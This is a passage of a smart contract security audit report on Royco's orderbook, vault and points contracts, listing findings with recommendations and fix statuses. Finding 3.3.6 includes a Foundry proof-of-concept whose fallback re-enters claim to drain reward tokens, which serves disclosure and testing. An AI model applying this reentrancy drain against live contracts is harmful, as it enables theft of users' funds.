A separate issue points out a problem with the additive assignment at the end of the loop; however, even if that is corrected, the check may still be maliciously subverted. This is because a user may only opt into a maximum of five campaigns but there is no upper bound on the length of the `campaignIds` list that is passed into this function. Thus, if one or more tokens have multiple campaigns active, more than five campaigns could be used to "prove" the rates available satisfy the LP's requirements, even if those rates cannot be achieved in practice.

Recommendation: Enforce the same upper bound on the length of `campaignIds` that is enforced on opted-into campaigns in the `ERC4626i` contract.

Royco: Addressed in commit bae257ad.

Cantina Managed: Fixed.

3.3.5 Fees can be sent to the zero address

Severity: Medium Risk

Context: RecipeOrderbook.sol#L129

Description: If the `protocolFee` is set to a non-zero amount and an IP order is created without setting `protocolFeeRecipient`, the fees will be sent to the zero address.

Recommendation: Assign a value to `protocolFeeRecipient` in the constructor esuring that when `protocolFee` is set to a non-zero value, `protocolFeeRecipient` is also set in the same transaction.

Royco: We now assign the `protocolFeeRecipient` to the owner as the default in the constructor until manually replaced by the owner in commit 8952be7c.

Cantina Managed: Fixed.

3.3.6 Reentrancy issues in `forfeit` and `claim` could lead to drain funds

Severity: Medium Risk

Context: RecipeOrderbook.sol#L567, RecipeOrderbook.sol#L587

Description: The `forfeit` and `claim` functions in the contract are vulnerable to reentrancy attacks if a reward token has hooks (such as those that implement the ERC777 standard). The reentrancy occurs because the functions perform external calls via `safeTransfer` before clearing the state by deleting the `weirollWalletToLockedRewardParams` mapping. This allows an attacker to reenter the function and drain funds.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/RecipeOrderbook.sol";
import "../src/WeirollWallet.sol";
import "../src/PointsFactory.sol";

import { MockERC20 } from "test/mocks/MockERC20.sol";
```

```
import { MockERC4626 } from "test/mocks/MockERC4626.sol";

import "lib/solmate/src/tokens/ERC20.sol";
import "lib/solmate/src/tokens/ERC4626.sol";

// extend the recipe orderbook to add a function to mock values in `weirollWalletToLockedRewardParams`
contract RecipeOrderbookExtended is RecipeOrderbook {
    constructor(address _weirollWalletImplementation, uint256 _protocolFee, uint256 _minimumFrontendFee,
↪   address _owner, address _pointsFactory) RecipeOrderbook(_weirollWalletImplementation, _protocolFee,
↪   _minimumFrontendFee, _owner, _pointsFactory) {}
    function setWeirollWalletToLockedRewardParams(address weirollWallet, LockedRewardParams calldata value)
↪   public {
        weirollWalletToLockedRewardParams[weirollWallet] = value;
    }
}

contract RecipeOrderbookClaimReenterTest is Test {
    WeirollWallet weirollWalletImplementation = new WeirollWallet();
    RecipeOrderbookExtended public orderbook;
    MockERC20 public mockToken;
    MockERC20Reentrant public mockTokenReentrant;
    PointsFactory public pointsFactory;

    function setUp() public {

        mockToken = new MockERC20("Mock Token", "MT");
        mockTokenReentrant = new MockERC20Reentrant("Mock Token Reentrant", "MTR");
        pointsFactory = new PointsFactory();


        orderbook = new RecipeOrderbookExtended(
            address(weirollWalletImplementation),
            0.01e18, // 1% protocol fee
            0.001e18, // 0.1% minimum frontend fee
            makeAddr("owner"),
            address(pointsFactory)
        );
    }

    address wallet;
    function _setupEscenario() internal {
        // lets mock a wallet
        wallet = address(new MockWeirollWallet(address(this)));
        address[] memory tokens = new address[](2);
        tokens[0] = address(mockToken);
        tokens[1] = address(mockTokenReentrant);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 100;
        amounts[1] = 100;
        // lets mock rewards with a token that is susceptible to reentrancy
        RecipeOrderbook.LockedRewardParams memory params = RecipeOrderbook.LockedRewardParams({
            tokens: tokens,
            amounts: amounts,
            ip: makeAddr("ip")
        });
        orderbook.setWeirollWalletToLockedRewardParams(wallet, params);

        mockTokenReentrant.mint(address(orderbook), 1 ether);
        mockToken.mint(address(orderbook), 1 ether);
    }

    uint256 reenters = 10;
    function testRegularClaim() public {
        _setupEscenario();

        orderbook.claim(wallet, address(this));
        assertEq(mockToken.balanceOf(address(this)), 100);
        assertEq(mockTokenReentrant.balanceOf(address(this)), 100);
    }

    function testReenter() public {
        _setupEscenario();
        reenters = 0;

        orderbook.claim(wallet, address(this));
        assertEq(mockToken.balanceOf(address(this)), 100);
```

```
        assertEq(mockTokenReentrant.balanceOf(address(this)), 100);
    }

    fallback() external {
        console.log("Draining funds #",++reenters);
        if(reenters < 10) {
            orderbook.claim(wallet, address(this));
        }
    }
}

contract MockWeirollWallet {
    address public immutable owner;
    uint256 public immutable lockedUntil = 0;
    constructor(address _owner) {
        owner = _owner;
    }
}

// @notice this is a mock contract that is used to test the reentrant attack, mim
contract MockERC20Reentrant is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol, 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function transfer(address to, uint256 amount) public override returns (bool res) {
      res = super.transfer(to, amount);
      if (to != address(0)) {
        to.call{gas: gasleft()}("");
      }
    }

    function transferFrom(
      address from,
      address to,
      uint256 amount
  ) public override returns (bool res) {
      res = super.transferFrom(from, to, amount);
      if (to != address(0)) {
        to.call{gas: gasleft()}("");
      }
  }
}
```

Recommendation: Consider add a reentrancy guard and applying the "checks-effects-interactions" pattern by setting the `params.amounts[i]` value to `0` before performing any external calls, such as `safeTransfer`. This ensures that the contract's state is updated before any potential reentrant code is executed.

Royco: Fixed this issue in the following commits:

- Claim re-entrancy bug (8834f7c5).
- Forfeit re-entrancy bug (5a7f51af).
- Fix small type so it can compile (a2ec2195).

Cantina Managed: Fixed.

3.3.7 Use `safeTransfer` and `safeTransferFrom` instead of `transfer` and `transferFrom`

Severity: Medium Risk

Context: RecipeOrderbook.sol#L534, ERC4626i.sol#L396, ERC4626i.sol#L403, VaultOrderbook.sol#L199

Description: Tokens that do not comply with the ERC20 specification could return `false` from the transfer function call to indicate the transfer fails, while the calling contract would not notice the failure if the return value is not checked. Checking the return value is a requirement, as written in the EIP-20 specification:

> Callers MUST handle `false` from `returns (bool success)`. Callers MUST NOT assume that `false` is never returned!

Some tokens do not return a `bool` (e.g. `USDT`, `BNB`, `OMG`) on ERC20 methods. This will make the call break, making impossible to use these tokens.

Recommendation: Use `SafeTransferLib` or `SafeERC20`, replace `transfer` for `safeTransfer` and `transferFrom` for `safeTransferFrom` when transferring ERC20 tokens.

Beware that Solmate's `SafeTransferLib` succeeds even if token address does have any code, which could lead to some risk.

There is no known `ERC4626` vault that is not `ERC20` compliant, so adding `SafeTransferLib` to lines ERC4626i.sol#L438, ERC4626i.sol#L448, ERC4626i.sol#L461 and ERC4626i.sol#L471 is optional, only if you want to be extra defensive. Keep in mind that this could add a bit of extra gas cost.

Royco: Fixed in commit 6adf1349, ERC4626i is a wontfix because we are re-writing the contract

3.4 Low Risk

3.4.1 Order fill griefing via small partial fills

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In `RecipeOrderbook.fillLPOrder()` and `RecipeOrderbook.fillIPOrder()`, there are checks (RecipeOrderbook.sol#L428, RecipeOrderbook.sol#L498) that require that the remaining order quantity be at least the specified fill amount. This is subject to griefing whereby full fill attempts are frontrun by very small fills that cause the larger transactions to revert for very low cost.

Recommendation: Consider treating the `fillAmount` as a maximum quantity to fill rather than an exact amount. Or, reparametrize the function to accept both a minimum and maximum fill quantity.

Royco: In commit 344bbaa5 we allow passing `type(uint256).max` as a value, and in commit 0ee9fde2 the feature is fully fixed to allow a "maxFill" to prevent front-running if you are filling an entire order.

Cantina Managed: Fix is correct; left a comment suggesting some optional gas optimizations.

3.4.2 Points factory program array is impractical

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `PointsFactory` pushes to the `pointsPrograms` array each time a program is created in `createPointsProgram`.

At some point, traversing this array will become prohibitively expensive to fit within the block gas limit. Therefore, maintaining this as an array in storage does not seem particularly useful, as offchain indexing will always be necessary for comprehensive enumeration.

Recommendation: Remove this array and rely only on `isPointsProgram` as the interface for other contracts onchain to query the existence of these programs.

Royco: Removed this array in commit fa1ad395.

Cantina Managed: Fixed.

3.4.3 Opting out of campaign inconsistently emits events

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: See the issue "Unused function parameter can cause users confusion" for additional information regarding `optOutOfCampaign`'s `index` parameter.

```
if (index == 4) {
    delete userSelectedCampaigns[msg.sender][4];
    return;
}
```

When `index == 4`, the `RewardCampaignUnselected` event is not emitted because the function short circuits in the above `return`.

Recommendation: The short-circuit is unnecessary because the `for` loop will not be entered when `index == 4`.

```
for (uint256 i = index; i < userSelectedCampaigns[msg.sender].length - 1; i++) {
```

The `userSelectedCampaigns` mapping's value, `uint256[5] campaignsOptedInto`, will always have `length == 5`.

Remove this short-circuiting `return` statement such that the event emissions are consistent for any off-chain observer. Additionally, move these magic constants (4 and 5) out of the logical sections of the code and into constants to avoid risk of inconsistent length handling during refactors.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.4.4 Cancelling a `VaultOrderbook` order emits a spurious event if the order was already cancelled, already filled, or does not exist

Severity: Low Risk

Context: VaultOrderbook.sol#L228-L230

Description: The function `cancelOrder()` in the `VaultOrderbook` contract allows cancelling an order multiple times, cancelling an already-filled order, and cancelling a non-existent order, emitting the same event each time. This could be used to interfere with and potentially exploit off-chain systems that rely on these events.

Recommendation: Modify the code to emit an event only if the order was truly cancelled:

```
if (orderHashToRemainingQuantity[orderHash] > 0) {
    // Set the remaining quantity of the order to 0, effectively cancelling it
    orderHashToRemainingQuantity[orderHash] = 0;
    emit LPOrderCancelled(order.orderID);
}
```

Royco: Added a conditional in commit f06c9e40 to prevent spurious event emission as suggested.

Cantina Managed: Fixed.

3.4.5 Points programs cannot be created due to incorrect campaign id computation

Severity: Low Risk

Context: Points.sol#L74

Description: In the `Points` contract, the function `createRewardsCampaign()` contains the following logic for checking that the campaign id of the created campaign is what is expected:

```
uint256 campaignId = allowedVault.totalCampaigns() + 1;
allowedCampaigns[campaignId] = true;

uint256 newCampaign = allowedVault.createRewardsCampaign(ERC20(address(this)), start, end, totalRewards);

/// Safe check for redundancy
require(newCampaign == campaignId);
```

However, `ERC4626i.createRewardsCampaign()` returns the value of the `totalCampaigns` variable prior to incrementing it:

```
function createRewardsCampaign(ERC20 token, uint256 start, uint256 end, uint256 totalRewards)
    external
    returns (uint256 campaignId)
{
    // omitted...

    /// Set the initial IDs of the campaign
    campaignId = totalCampaigns++;
```

Thus this check is using the wrong value and will always fail, meaning the contracts cannot work together as written. In practice the `Points` contract would be corrected and redeployed, so there is little real impact other than requiring extra effort.

Recommendation: There is no reason not to trust the `campaignId` returned by the call to `ERC4626i.createRewardsCampaign()`. Replace the function body with the following logic (which also ensures the proper entry in `allowedCampaigns` is written to):

```
uint256 newCampaign = allowedVault.createRewardsCampaign(ERC20(address(this)), start, end, totalRewards);
allowedCampaigns[newCampaignId] = true;
```

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.4.6 Unhelpful and unreliable checks

Severity: Low Risk

Context: RecipeOrderbook.sol#L290, RecipeOrderbook.sol#L293, RecipeOrderbook.sol#L298, RecipeOrderbook.sol#L302-L304, VaultOrderbook.sol#L118-L132

Description: There is no point in adding the balance and allowance checks on-chain. Even if the checks pass when creating the LPOrder, there is no guarantee that the balance and allowance will be sufficient when filling the order.

Additionally, it might be beneficial for some users to create an order before having the requisite tokens. With flash loans, it's always easy to "fake" having the requisite tokens, anyway.

Recommendation: Remove these checks on-chain. Instead, an order should be considered invalid if the balance or allowance is insufficient, both on-chain and off-chain.

Royco:

- `VaultOrderbook` unneeded checks removed in commit 74f1424c.
- `RecipeOrderbook` checks fixed in efc39b00.

Cantina Managed: Fixed.

3.4.7 Missing order cancellation functions

Severity: Low Risk

Context: RecipeOrderbook.sol#L197, RecipeOrderbook.sol#L199

Description: There are `IPOrderCancelled` and `LPOrderCancelled` events, but the actual functions where they should be emitted are missing.

Recommendation: Add `cancelIPOrder` and `cancelLPOrder` functions to allow users to cancel their orders.

Royco: Added appropriate order cancellation fixes in commit a82aba10.

Cantina Managed: Fixed.

3.4.8 Unused function parameter can cause user confusion

Severity: Low Risk

Context: ERC4626i.sol#L234

Description: The `optOutOfCampaign` function takes two parameters: `uint256 campaignId` and `uint256 index`. This gives the user the impression that the campaign they will be opted out of is the one provided in the `campaignId` parameter. However, the function logic determines which campaign the user is opted out of solely based on the `index`.

Recommendation: Only take `uint256 index` as a parameter to avoid confusion. Additionally, the `RewardCampaignUnselected` event emits the `campaignId` parameter provided by the user, which is not accurate. It should emit `campaignID = userSelectedCampaigns[msg.sender][index]` instead.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.4.9 Incorrect value passed by `ERC4626iFactory` to `ERC4626i` constructor

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: When creating (ERC4626iFactory.sol#L93) a new `ERC4626i` contract, the `ERC4626iFactory` passes the third argument as `defaultProtocolFee` instead of `defaultReferralFee`. While this poses very little risk, it is contrary to the intention of the code and should be corrected.

Recommendation: Change the third argument from `defaultProtocolFee` to `defaultReferralFee`.

Royco: Fixed in commit 9a52ffbd on audit fixes.

Cantina Managed: Fixed.

3.5 Gas Optimization

3.5.1 Weiroll VM branching can be optimized due to disabling of `delegatecall` commands

Severity: Gas Optimization

Context: *(No context files were provided by the reviewer)*

Description: The Weiroll `VM` contract has been modified to disable `delegatecall` commands:

```
if (flags & FLAG_CT_MASK == FLAG_CT_DELEGATECALL) {
    revert("Delegatecall is disabled");
} else if (flags & FLAG_CT_MASK == FLAG_CT_CALL) {
```

Because this is the first branching condition, all calls (approximately all of which will not be using the disabled `delegatecall` pathway, barring user error) will perform this check unnecessarily.

Recommendation: Move the "no `delegatecall`" check later in the branching conditions, after all possible valid call types, or even consider eliminating it entirely (which will change the revert message but retain the same reversion behavior).

Royco: Added in this fix to our submodule fork.

Cantina Managed: Fixed.

3.5.2 Optimizing token transfers in `redeem` and `withdraw` functions

Severity: Gas Optimization

Context: ERC4626i.sol#L458, ERC4626i.sol#L468

Description: If the `receiver` in the `ERC4626.redeem` function is used correctly, like this: `underlyingVault.redeem(shares, receiver, address(this));`, the additional token transfer right below (ERC4626i.sol#L471) can be avoided.

The same applies to the withdraw function as well (ERC4626i.sol#L457).

Recommendation: Implement the `redeem` and `withdraw` functions as recommended to optimize token transfers.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.6 Informational

3.6.1 Missing Natspec comments

Severity: Informational

Context: Points.sol#L122, Points.sol#L126, RecipeOrderbook.sol#L142, RecipeOrderbook.sol#L234, RecipeOrderbook.sol#L262, RecipeOrderbook.sol#L339

Description: In various places (documented below), natspec comments for function parameters and return values are missing:

- `Points.award(address to, uint256 amount, uint256 campaignId)`: Missing natspec for `amount` parameter.
- `Points.award(address to, uint256 amount, address ip)`: Missing natspec for all parameters.
- `RecipeOrderbook.MarketCreated` event: Missing natspec for `rewardStyle`.
- `RecipeOrderbook.createMarket` function: Missing natspec for `rewardStyle` and return value.
- `RecipeOrderbook.createLPOrder` function: Missing natspec for return value.
- `RecipeOrderbook.createIPOrder` function: Missing natspec for return value.

Recommendation: Add the missing natspec comments to increase maintainability and usability of the code.

Royco:

- Added natspec for award in commit df488096.
- Market Created natspec in commit 33247dd.
- `createIPOrder` natspec added in commit db04c5d0.
- `createLPorder` natspec added in commit efc39b00.

Cantina Managed: Fixed.

3.6.2 Improving `FeesClaimed` event information

Severity: Informational

Context: RecipeOrderbook.sol#L201, RecipeOrderbook.sol#L408

Description: The `recipient` is not particularly helpful information to emit in the `FeesClaimed` event. The `recipient` can be inferred from the underlying token's `Transfer` event in the same transaction.

Recommendation: The event should emit the address that had its fee amount deducted instead.

Royco: Fixed in commit 4f13b70b with new name + fixed the actual value passed into the field.

3.6.3 Add minimum referral fees

Severity: Informational

Context: ERC4626i.sol#L333

Description: It makes sense to have a minimum `referralFee` limit. This allows referrers to know the minimum and prevents the government from rugging them of their referral fee by setting it to 0.

Recommendation: Add a minimum `referralFee`.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely, and in general referral fees we do sometimes want as 0, if we decided to payout using a new contract in the future to do something else with the fees, or if we want to turn of referrals like Aave has. It's more flexibility and setting a minimum value can end up being arbitrary and causing issues in the future

Cantina Managed: Acknowledged.

3.6.4 Add methods to update `defaultProtocolFee` and `defaultReferralFee` variables on `ERC4626iFactory.sol`

Severity: Informational

Context: ERC4626iFactory.sol#L34-L37

Description: The state variables `defaultProtocolFee` and `defaultReferralFee`, which are used when creating a new `ERC4626i`, currently lack methods to update them. This limitation can restrict the flexibility of the contract, making it difficult to adapt to changes in protocol or referral fee structures without calling multiple times `updateProtocolFee(ERC4626 vault, uint256 newProtocolFee)` and `updateReferralFee(ERC4626 vault, uint256 newReferralFee)`.

Recommendation: Consider add a `updateDefaultProtocolFee` and a `updateDefaultReferralFee` remember to add access control and validation to input an emit an `update` event.

There are some declared errors that are unused and seems to created to validate input of these methods: ERC4626iFactory.sol#L45-L46

On the other hand if you will never change this variables consider using `immutable` and remove unused errors on ERC4626iFactory.sol#L45-L46.

Royco: Added setter functions in commit f9d4d283.

Cantina Managed: Fixed, but have you considered adding an upper limit? also its recommended to emit an event after changing protocol params.

3.6.5 QA: Spelling and grammar corrections

Severity: Informational

Context: ERC4626i.sol#L78, ERC4626i.sol#L96, ERC4626i.sol#L125, ERC4626i.sol#L144, ERC4626i.sol#L253, ERC4626i.sol#L383, PointsFactory.sol#L26, RecipeOrderbook.sol#L109

Description: This issue consolidates all spelling and grammar errors found in the code, to ensure clarity and consistency throughout the project.

Recommendation: Fix the following:

- `ERC4626i.sol`:
  - On ERC4626i.sol#L78 the comment seems to be incomplete.
  - On ERC4626i.sol#L96 instead of `protocolFee The protocolFee` should say `protocolFeeRate The protocolFeeRate`.
  - On ERC4626i.sol#L125 there is a typo instead of `Mappiing` should be `Mapping`.
  - On ERC4626i.sol#L144 there is a typo instead of `Incentivied` should be `Incentivized`.
  - On ERC4626i.sol#L253 there is a typo instead of `beahlf` should be `behalf`.
  - On ERC4626i.sol#L383 there is a typo instead of `referrred` should be `referred`.
- `PointsFactory.sol`:
  - On PointsFactory.sol#L26, inconsistent naming style (`_decimals` would seem more appropriate).
- `RecipeOrderbook.sol`:
  - On RecipeOrderbook.sol#L109, typo: `LPOrder` instead of `IPOrder`.

Royco:

- Consistent Naming System for `_decimals` in commit 50a0f268.
- Using `IPOrder` instead of `LPOrder` now in commit c2d6ee2e.
- ERC4626i will be re-written an so leaving comments there unaddressed.

Cantina Managed: Fixed.